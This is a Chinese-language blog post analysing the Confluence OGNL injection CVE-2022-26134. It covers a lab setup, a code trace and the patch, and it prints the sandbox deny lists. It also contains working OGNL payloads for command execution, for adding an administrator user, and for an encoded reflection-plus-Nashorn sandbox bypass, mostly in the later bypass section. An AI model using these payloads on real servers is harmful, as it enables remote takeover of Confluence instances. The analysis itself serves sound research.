Confluence CVE-2022-26134 分析
date
Jul 4, 2022
slug
Confluence-CVE-2022-26134
status
Published
tags
Java安全
安全研究
summary
Confluence CVE-2022-26134 分析
type
Post
环境搭建
这里直接使用vulhub上的环境进行配置,添加上我们需要监听的端口:
version: '2'
services:
web:
image: vulhub/confluence:7.13.6
ports:
- "8090:8090"
- "5050:5050"
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
可以通过进入容器查看对应的远吗位置在哪,一般通过进程命令
ps -le
或者ps aux
查看,可以观察到源码是在/opt/atlassian/
将源码内容从docker里面整出来添加到IDEA的Library里面,主要是
/confluence/WEB-INF
下的atlassian-bundled-plugins
、atlassian-bundled-plugins-setup
、lib
下的文件然后寻找启动的配置文件,通过entrypoint.py 文件并进行查看,发现启动是通过运行
start-confluence.sh
文件,在
start-confluence.sh
文件发现会调用 catalina.sh
启动Tomcat,而Tomcat会通过setenv.sh
管理环境,所以debug的设置在/opt/atlassian/confluence/bin/setenv.sh
这个文件进行修改然后重启就能够愉快地调试了
漏洞复现
根据vulhub上的payload进行测试
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
又是一个可以直接GET打的操作,配合上SSRF操作无敌了,注意payload最后得加上
/
不然触发不了漏洞分析
在web.xml里面寻找路由入口,可以观察到servlet内容都会经过
com.atlassian.confluence.servlet.ConfluenceServletDispatcher
处理在这个类里面并没有找到相关的service方法,但是可以从它的父类找到对应的service方法,父类是
ServletDispatcher
继承了HttpServlet
在这里面可以找到service方法,然后调用该类的
serviceAction
方法,断点打在service方法里面开始调试根据vulhub里面的payload进行调试,会发现
request
的内容会经过getNameSpace
,getActionName
,getRequestMap
,getParameterMap
,getSessionMap
函数进行处理主要关注
getNameSpace
,getActionName
,这两个函数用于处理请求路由在
getActionName
里面主要获取了请求的path路径,默认在路径后面添加上index.action进行处理,然后最后返回index
字符串,估计是对/xxx/
这种路径的默认处理而在
getNameSpace
函数则是则是获取servletPath
进行处理,这里的servletPath
也是默认加上了index.action
的,后续会通过getNamespaceFromServletPath
函数进一步处理,然后把index.action
去除掉,到最后一个 /
的路径,然后剩下就是我们的payload内容了继续跟进会进入到
com.atlassian.confluence.servlet.ConfluenceServletDispatcher#serviceAction
,这里面namespace参数是payload参数,先是创建了一个proxy,这里面创建的是一个com.opensymphony.xwork.DefaultActionProxy#DefaultActionProxy
,payload的内容会变成这个类的一个属性namespace这个proxy到后期会执行
execute
方法,后续会进入到com.opensymphony.xwork.DefaultActionInvocation#invoke
在
com.opensymphony.xwork.DefaultActionInvocation#invoke
里面会进行Interceptor
的相关操作,会遍历所有的Interceptor
进行处理最后会进入到
this.proxy.getExecuteResult()
的这个分支,执行com.opensymphony.xwork.DefaultActionInvocation#executeResult
,为什么会进入到这个分支,因为初始化com.opensymphony.xwork.DefaultActionProxy#DefaultActionProxy
的时候调用的是com.opensymphony.xwork.DefaultActionProxyFactory#createActionProxy(java.lang.String, java.lang.String, java.util.Map)
,默认的第四个参数是true,导致最后进入到了这个分支跟进到
com.opensymphony.xwork.DefaultActionInvocation#executeResult
,后面执行到this.result.execute
,这里的result
是通过createResult
函数获得的,createResult
函数根据resultCode
来构建result,也就是之前拦截器生成的结果,这个拦截器产生的结果是notpermitted
类型的,然后生成了一个com.opensymphony.xwork.ActionChainResult
的result
,具体可以自己调一下后面进入到
com.opensymphony.xwork.ActionChainResult#execute
方法里面,这里就涉及到Ognl表达式执行相关的内容,最后进入到findValue的触发点就执行了补丁以及后续分析
根据漏洞可以定位关键触发点应该在
com.opensymphony.xwork.ActionChainResult#execute
根据官网给的补丁diff一下
可以看到相关内容已经不使用Ognl进行处理了
而且还有一个点,就是7.15之后的Confluence在Ognl的处理上使用沙箱进行了黑白名单处理
存在一个不安全表达式的检查:
这里面的黑名单包括:
unsafePropertyNames
sun.misc.Unsafe
classLoader
java.lang.System
java.lang.ThreadGroup
com.opensymphony.xwork.ActionContext
java.lang.Compiler
com.atlassian.applinks.api.ApplicationLinkRequestFactory
java.lang.Thread
com.atlassian.core.util.ClassLoaderUtils
java.lang.ProcessBuilder
java.lang.InheritableThreadLocal
com.atlassian.core.util.ClassHelper
class
java.lang.Shutdown
java.lang.ThreadLocal
java.lang.Process
java.lang.Package
org.apache.tomcat.InstanceManager
java.lang.Runtime
javax.script.ScriptEngineManager
javax.persistence.EntityManager
org.springframework.context.ApplicationContext
java.lang.SecurityManager
java.lang.Object
java.lang.Class
java.lang.RuntimePermission
javax.servlet.ServletContext
java.lang.ClassLoader
unsafePackageNames
java.rmi
sun.management
org.apache.catalina.session
java.jms
com.atlassian.confluence.util.io
com.google.common.reflect
javax.sql
java.nio
com.atlassian.sal.api.net
sun.invoke
java.util.zip
liquibase
com.hazelcast
org.apache.commons.httpclient
com.atlassian.util.concurrent
java.net
freemarker.ext.jsp
com.sun.jna
net.java.ao
javax
sun.corba
org.springframework.util.concurrent
com.sun.jmx
sun.misc
javassist
ognl
org.apache.commons.exec
com.atlassian.cache
org.wildfly.extension.undertow.deployment
java.lang.reflect
io.atlassian.util.concurrent
java.util.concurrent
com.atlassian.confluence.util.http
sun.tracing
org.objectweb.asm
freemarker.template
net.sf.hibernate
freemarker.core
net.bytebuddy
org.apache.tomcat
freemarker.ext.rhino
com.atlassian.media
org.springframework.context
org.apache.velocity
javax.xml
java.sql
sun.reflect
sun.net
javax.persistence
org.javassist
javax.naming
org.apache.httpcomponents.httpclient
com.atlassian.hibernate
sun.nio
com.atlassian.confluence.impl.util.sandbox
com.google.common.net
com.atlassian.filestore
org.apache.commons.io
com.atlassian.vcache
jdk.nashorn
sun.launcher
oshi
org.apache.bcel
sun.rmi
sun.tools.jar
org.springframework.expression.spel
com.opensymphony.xwork.util
org.ow2.asm
com.atlassian.confluence.setup.bandana
org.quartz
net.sf.cglib
com.atlassian.activeobjects
com.atlassian.utils.process
sun.security
com.atlassian.quartz
javax.management
sun.awt.shell
com.google.common.cache
org.apache.http.client
java.io
com.atlassian.confluence.util.sandbox
java.util.jar
com.atlassian.scheduler
sun.print
com.atlassian.failurecache
com.google.common.io
org.apache.catalina.core
org.ehcache
unsafeMethodNames
getClass
getClassLoader
allowedClassNames
com.atlassian.confluence.util.GeneralUtil,
java.io.Serializable,
java.lang.reflect.Proxy,
net.sf.hibernate.proxy.HibernateProxy,
net.sf.cglib.proxy.Factory,
java.io.ObjectInputValidation,
net.java.ao.Entity,
net.java.ao.RawEntity,
net.java.ao.EntityProxyAccessor
但是大哥们还是找到了绕过方法,学习一下思路,但是宏观上来看的话还是绕过黑白名单的方法
- 使用正常功能类
一个添加用户的骚操作,是从白名单里面第一个类找到的一个有趣的静态方法,使用下面语句可以添加一个
example
用户:${@com.atlassian.confluence.util.GeneralUtil@getUserAccessor().addUser('example','example','[email protected]','Example',@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}
设置cookie的操作:
${@com.atlassian.confluence.util.GeneralUtil@setCookie("key","value")}
- 使用反射
但是这个东西还是能够绕过,P牛给出了使用反射+js引擎绕过的方法:
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}
- 字符串拼接
Class.forName('java.lang.Runtime')
这种形式之所以不行,是因为在对常量调用检查时匹配到调用了java.lang.Runtime
黑名单。所以这里可以通过字符串拼接的形式分割java.lang.Runtime
,比如Class.forName('jav'+'a.lang.Runtime')
的形式,直接绕开黑名单匹配。
- ClassLoader
使用不在黑名单中的ClassLoader
类。分析沙箱黑白名单之后,发现com.sun.org.apache.bcel.internal.util.ClassLoader
`类不在黑名单中,既然可以拿到ClassLoader
类那就万事大吉了,通过loadClass
方法加载字节码,就可以自由发挥了。但是在高版本 jdk 中不适用,比如Confluence 如果使用自带的 11 版本的 JDK 就无法使用这个方法。分析发现 Confluence 自带了一个org.apache.bcel.util.ClassLoader
,位于xalan.jar
JAR 包中,与com.sun.org.apache.bcel.internal.util.ClassLoader
一样也可以加载 Java 字节码。
- this
虽然过滤了#request
、#context
等变量,但是没有过滤this
。OGNL 表达式是以.
进行串联的一个链式字符串表达式。而这个表达式在进行计算的时候,从左到右,表达式每一次计算返回的结果成为一个临时的“当前对象”,并在此临时对象之上继续进行计算,直到得到计算结果。而这个临时的“当前对象”会被存储在一个叫做this
的变量中,这个this
变量就称为this
指针。而在本次漏洞触发位置,通过this
获得的是 URL 目标Action
对象,当然具体利用效果取决于获取到的Action
对象。比如利用这种思路可以添加管理员。